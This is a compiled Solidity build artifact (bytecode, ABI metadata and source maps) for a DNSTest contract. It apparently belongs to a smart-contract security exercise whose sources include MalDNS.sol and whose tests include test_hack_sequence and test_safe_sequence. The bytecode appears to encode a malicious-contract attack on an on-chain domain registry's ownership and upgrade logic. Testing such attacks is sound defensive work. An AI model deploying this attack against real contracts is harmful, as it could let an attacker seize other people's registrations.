610141600480360381019061013c9190610936565b61050c565b005b61015d600480360381019061015891906108e2565b610681565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000836040516101969190610b9e565b908152602001604051809103902060000160009054906101000a900460e01b6000846040516101c59190610b9e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d90610c54565b60405180910390fd5b60008351116102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a190610c14565b60405180910390fd5b600080846040516102bb9190610b9e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561035e5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61039d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039490610c74565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567ffffffffffffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c6343000704003360c06040523480156200001157600080fd5b5060405162000cc138038062000cc18339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610ad7620001ea600039806101ed528061038052508061013c52806102ed528061040e528061049f5250610ad76000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639be1238f1161005b5780639be1238f146100d9578063d4eec5a6146100f5578063f7a46696146100ff578063fbf58b3e1461011b5761007d565b8063461a4478146100825780635b48684e146100b357806363c95186146100bd575b600080fd5b61009c60048036038101906100979190610627565b610137565b6040516100aa9291906107dd565b60405180910390f35b6100bb6101eb565b005b6100d760048036038101906100d29190610710565b610279565b005b6100f360048036038101906100ee91906106bc565b6102eb565b005b6100fd61037e565b005b610119600480360381019061011491906106bc565b61040c565b005b61013560048036038101906101309190610668565b61049d565b005b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663461a4478846040518263ffffffff1660e01b81526004016101939190610821565b604080518083038186803b1580156101aa57600080fd5b505afa1580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906105eb565b91509150915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60016040518263ffffffff1660e01b81526004016102459190610806565b600060405180830381600087803b15801561025f57600080fd5b505af1158015610273573d6000803e3d6000fd5b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1663f7a4669684846040518363ffffffff1660e01b81526004016102b4929190610873565b600060405180830381600087803b1580156102ce57600080fd5b505af11580156102e2573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663894049788383306040518463ffffffff1660e01b8152600401610348939291906108a3565b600060405180830381600087803b15801561036257600080fd5b505af1158015610376573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60006040518263ffffffff1660e01b81526004016103d89190610806565b600060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b50505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f7a4669683836040518363ffffffff1660e01b8152600401610467929190610873565b600060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e83836040518363ffffffff1660e01b81526004016104f8929190610843565b600060405180830381600087803b15801561051257600080fd5b505af1158015610526573d6000803e3d6000fd5b505050505050565b60008135905061053d81610a5c565b92915050565b60008151905061055281610a5c565b92915050565b60008135905061056781610a73565b92915050565b60008151905061057c81610a73565b92915050565b60008135905061059181610a8a565b92915050565b600082601f8301126105a857600080fd5b81356105bb6105b682610912565b6108e1565b915080825260208301602083018583830111156105d757600080fd5b6105e28382846109f3565b50505092915050565b600080604083850312156105fe57600080fd5b600061060c8582860161056d565b925050602061061d85828601610543565b9150509250929050565b60006020828403121561063957600080fd5b600082013567ffffffffffffffff81111561065357600080fd5b61065f84828501610597565b91505092915050565b6000806040838503121561067b57600080fd5b600083013567ffffffffffffffff81111561069557600080fd5b6106a185828601610597565b92505060206106b28582860161052e565b9150509250929050565b600080604083850312156106cf57600080fd5b600083013567ffffffffffffffff8111156106e957600080fd5b6106f585828601610597565b925050602061070685828601610558565b9150509250929050565b60008060006060848603121561072557600080fd5b600084013567ffffffffffffffff81111561073f57600080fd5b61074b86828701610597565b935050602061075c86828701610558565b925050604061076d86828701610582565b9150509250925092565b6107808161095e565b82525050565b61078f81610970565b82525050565b61079e816109e1565b82525050565b60006107af82610942565b6107b9818561094d565b93506107c9818560208601610a02565b6107d281610a37565b840191505092915050565b60006040820190506107f26000830185610786565b6107ff6020830184610777565b9392505050565b600060208201905061081b6000830184610795565b92915050565b6000602082019050818103600083015261083b81846107a4565b905092915050565b6000604082019050818103600083015261085d81856107a4565b905061086c6020830184610777565b9392505050565b6000604082019050818103600083015261088d81856107a4565b905061089c6020830184610786565b9392505050565b600060608201905081810360008301526108bd81866107a4565b90506108cc6020830185610786565b6108d96040830184610777565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090857610907610a35565b5b8060405250919050565b600067ffffffffffffffff82111561092d5761092c610a35565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000610969826109c1565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006109a78261095e565b9050919050565b60008190506109bc82610a48565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006109ec826109ae565b9050919050565b82818337600083830152505050565b60005b83811015610a20578082015181840152602081019050610a05565b83811115610a2f576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b60028110610a5957610a58610a35565b5b50565b610a658161095e565b8114610a7057600080fd5b50565b610a7c81610970565b8114610a8757600080fd5b50565b610a938161099c565b8114610a9e57600080fd5b5056fea264697066735822122004a334eb3716dfafcf036f3ecf492375e65e1813188daf1697f185fb67b35bde64736f6c63430007040033a264697066735822122075386a84bd3fa86e0b05b9b51ff3cbbd19f7364afa4ae3d315940750696b2ce964736f6c63430007040033\",\"metadata\":\"{\\\"compiler\\\":{\\\"version\\\":\\\"0.7.4+commit.3f05b770\\\"},\\\"language\\\":\\\"Solidity\\\",\\\"output\\\":{\\\"abi\\\":[{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"target\\\",\\\"type\\\":\\\"address\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"exact\\\",\\\"type\\\":\\\"bool\\\"}],\\\"name\\\":\\\"eventListener\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"address\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"address\\\"}],\\\"name\\\":\\\"log_named_address\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"bytes32\\\"}],\\\"name\\\":\\\"log_named_bytes32\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"decimals\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_decimal_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"int256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"int256\\\"}],\\\"name\\\":\\\"log_named_int\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"string\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"string\\\"}],\\\"name\\\":\\\"log_named_string\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes32\\\",\\\"name\\\":\\\"key\\\",\\\"type\\\":\\\"bytes32\\\"},{\\\"indexed\\\":false,\\\"internalType\\\":\\\"uint256\\\",\\\"name\\\":\\\"val\\\",\\\"type\\\":\\\"uint256\\\"}],\\\"name\\\":\\\"log_named_uint\\\",\\\"type\\\":\\\"event\\\"},{\\\"anonymous\\\":false,\\\"inputs\\\":[{\\\"indexed\\\":false,\\\"internalType\\\":\\\"bytes\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bytes\\\"}],\\\"name\\\":\\\"logs\\\",\\\"type\\\":\\\"event\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"IS_TEST\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"failed\\\",\\\"outputs\\\":[{\\\"internalType\\\":\\\"bool\\\",\\\"name\\\":\\\"\\\",\\\"type\\\":\\\"bool\\\"}],\\\"stateMutability\\\":\\\"view\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"setUp\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"test_hack_sequence\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"},{\\\"inputs\\\":[],\\\"name\\\":\\\"test_safe_sequence\\\",\\\"outputs\\\":[],\\\"stateMutability\\\":\\\"nonpayable\\\",\\\"type\\\":\\\"function\\\"}],\\\"devdoc\\\":{\\\"kind\\\":\\\"dev\\\",\\\"methods\\\":{},\\\"version\\\":1},\\\"userdoc\\\":{\\\"kind\\\":\\\"user\\\",\\\"methods\\\":{},\\\"version\\\":1}},\\\"settings\\\":{\\\"compilationTarget\\\":{\\\"src/DNSTest.t.sol\\\":\\\"DNSTest\\\"},\\\"evmVersion\\\":\\\"istanbul\\\",\\\"libraries\\\":{},\\\"metadata\\\":{\\\"bytecodeHash\\\":\\\"ipfs\\\"},\\\"optimizer\\\":{\\\"enabled\\\":false,\\\"runs\\\":200},\\\"remappings\\\":[\\\":/=/\\\",\\\":ds-test/=lib/ds-test/src/\\\",\\\":ds-test=lib/ds-test/src/index.sol\\\"]},\\\"sources\\\":{\\\"lib/ds-test/src/test.sol\\\":{\\\"keccak256\\\":\\\"0x0585b4faea84c48433a20491b7285f004b11902132543f2ad286407cb08b0535\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://411e78f8169949a26f2483234d1bbb0fc9fbf1980a3e7d18f5890fbef9b2b737\\\",\\\"dweb:/ipfs/Qmcsk29nfkd3c251qD9j2gBYzCbHpNpYvq8tXErtroG8FA\\\"]},\\\"src/DNS.sol\\\":{\\\"keccak256\\\":\\\"0x6cd821bd39563f4bc03dd3f112a4e6d843a39f07ae63c221fed932653f9d0759\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://cb1b834d2b517786c9f5d706e816d09a10cdcfc7566b58495873ca36ce5fb384\\\",\\\"dweb:/ipfs/QmcrwwNaev8NBDYdsZ6GPbG6zAFNoSzCVqpSu4QTB5DtCB\\\"]},\\\"src/DNSTest.t.sol\\\":{\\\"keccak256\\\":\\\"0x8490569ad48cc031c96d8ed0c82fc2792bba68de00ea731ff88e36b05ba886a4\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://b6bfa9484442963fab14d1fdf80b00938206f33bdb113656bb8c171a20f5dead\\\",\\\"dweb:/ipfs/QmVxmoJDftunt8SAxpTNfq2cfX7yRcp6ALnD1fRjsuWMo3\\\"]},\\\"src/HEVMCheat.sol\\\":{\\\"keccak256\\\":\\\"0xbb563bd7039f446d7a4b0407764d3b9de8ae46e317e8b61cb36ceab6ad1078fb\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://a7cee341638027f254f60ad2b586cfe390655b793ccce70ce4c8063ecf4e2890\\\",\\\"dweb:/ipfs/QmRGS8HiCdsx1RPTneFA5PNmEJiWBHBXeMe2rscjG9RFYd\\\"]},\\\"src/IDNS.sol\\\":{\\\"keccak256\\\":\\\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\\\",\\\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\\\"]},\\\"src/MalDNS.sol\\\":{\\\"keccak256\\\":\\\"0x3bea24f6589ebb2120be090924605d1512e2ea57e0de781ecadf2f2f3ed4eedf\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://74c5c49a3125c31fc621ae85a4a4848ae945740b22cf9f7d7d9750c3b9ef5031\\\",\\\"dweb:/ipfs/QmZydphzztNXCwiCgtffTeyjumkERWpSjuSTchFZbEn6Mv\\\"]},\\\"src/Upgrade.sol\\\":{\\\"keccak256\\\":\\\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\\\",\\\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\\\"]},\\\"src/UpgradedDNS.sol\\\":{\\\"keccak256\\\":\\\"0x9bab7b3cf0953af729edfbf418aeeefc0428235ba94c0c3cd68ea0740f1200dc\\\",\\\"license\\\":\\\"GPL-v3\\\",\\\"urls\\\":[\\\"bzz-raw://df8d1be1d8fd3d4ab81593055e75ccbe57406c8574e8351983cfe55f20bf9fed\\\",\\\"dweb:/ipfs/QmTYsSXKfFNb68FbRJmgp6Sgcsn8BQuGQCKs6LJs2c1Swd\\\"]}},\\\"version\\\":1}\",\"srcmap\":\"1079:5778:2:-:0;;;;;;;;;;;;;1411:4:0;1401:7;;:14;;;;;;;;;;;;;;;;;;1079:5778:2;;;;;;\",\"srcmap-runtime\":\"1079:5778:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1275:39;;;:::i;:::-;;5581:1274;;;:::i;:::-;;1647:3931;;;:::i;:::-;;1352:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1327:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1275:39:2;1303:7;:5;:7::i;:::-;1275:39::o;5581:1274::-;5622:16;:26;;;;;;;;;;;;;;;;;;;5652:9;5664:10;5652:22;;;;5678:16;:26;;;;;;;;;;;;;;;;;;;5708:9;5720:10;5708:22;;;;5735:9;5748:13;5793:5;5799:1;5793:8;;;;;;;;;;;;;;;;;;:17;;;5811:2;5815;5793:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5836:3;;;;;;;;;;;:11;;;5848:2;5836:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5822:29;;;;;;;;5855:16;5864:2;5855:16;;;5868:2;5855:16;;;:8;:16::i;:::-;5875:34;5884:5;5899;5905:1;5899:8;;;;;;;;;;;;;;;;;;5875;:34::i;:::-;5941:5;5947:1;5941:8;;;;;;;;;;;;;;;;;;:17;;;5959:2;5963;5941:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5984:3;;;;;;;;;;;:11;;;5996:2;5984:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5970:29;;;;;;;;6003:16;6012:2;6003:16;;;6016:2;6003:16;;;:8;:16::i;:::-;6023:34;6032:5;6047;6053:1;6047:8;;;;;;;;;;;;;;;;;;6023;:34::i;:::-;6102:7;;;;;;;;;;;:18;;;6139:2;6121:15;:20;6148:6;;;;;;;;;;;6102:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6160:36;6171:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6160:10;:36::i;:::-;6220:5;6226:1;6220:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6260:5;6266:1;6260:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6280:4;;;;;;;;;;;:9;;;6290:2;6280:13;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6320:5;6326:1;6320:8;;;;;;;;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6366:5;6372:1;6366:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6387:7;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6414:37;6426:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6425:25;6414:10;:37::i;:::-;6500:7;;;;;;;;;;;:18;;;6537:1;6519:15;:19;6545:7;;;;;;;;;;;6500:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6558:36;6569:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6558:10;:36::i;:::-;6624:4;;;;;;;;;;;:9;;;6634:3;6624:14;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6642:37;6654:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6653:25;6642:10;:37::i;:::-;6684:7;;;;;;;;;;;:16;;;6701:2;6705:10;6725:4;6684:47;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6749:5;6755:1;6749:8;;;;;;;;;;;;;;;;;;:16;;;6766:2;6749:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6735:34;;;;;;;;6773:28;6790:10;6784:16;;:2;:16;;;;6773:10;:28::i;:::-;6805:34;6833:4;6816:22;;:5;:22;;;6805:10;:34::i;:::-;5581:1274;;;;;;:::o;1647:3931::-;1688:16;:26;;;;;;;;;;;;;;;;;;;1718:9;1730:10;1718:22;;;;1744:16;:26;;;;;;;;;;;;;;;;;;;1774:9;1786:10;1774:22;;;;1801:9;1814:13;1859:5;1865:1;1859:8;;;;;;;;;;;;;;;;;;:17;;;1877:2;1881;1859:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1902:3;;;;;;;;;;;:11;;;1914:2;1902:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1888:29;;;;;;;;1921:16;1930:2;1921:16;;;1934:2;1921:16;;;:8;:16::i;:::-;1941:34;1950:5;1965;1971:1;1965:8;;;;;;;;;;;;;;;;;;1941;:34::i;:::-;2007:5;2013:1;2007:8;;;;;;;;;;;;;;;;;;:17;;;2025:2;2029;2007:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2050:3;;;;;;;;;;;:11;;;2062:2;2050:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2036:29;;;;;;;;2069:16;2078:2;2069:16;;;2082:2;2069:16;;;:8;:16::i;:::-;2089:34;2098:5;2113;2119:1;2113:8;;;;;;;;;;;;;;;;;;2089;:34::i;:::-;2162:7;;;;;;;;;;;:18;;;2199:2;2181:15;:20;2208:6;;;;;;;;;;;2162:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2220:36;2231:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2220:10;:36::i;:::-;2280:5;2286:1;2280:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;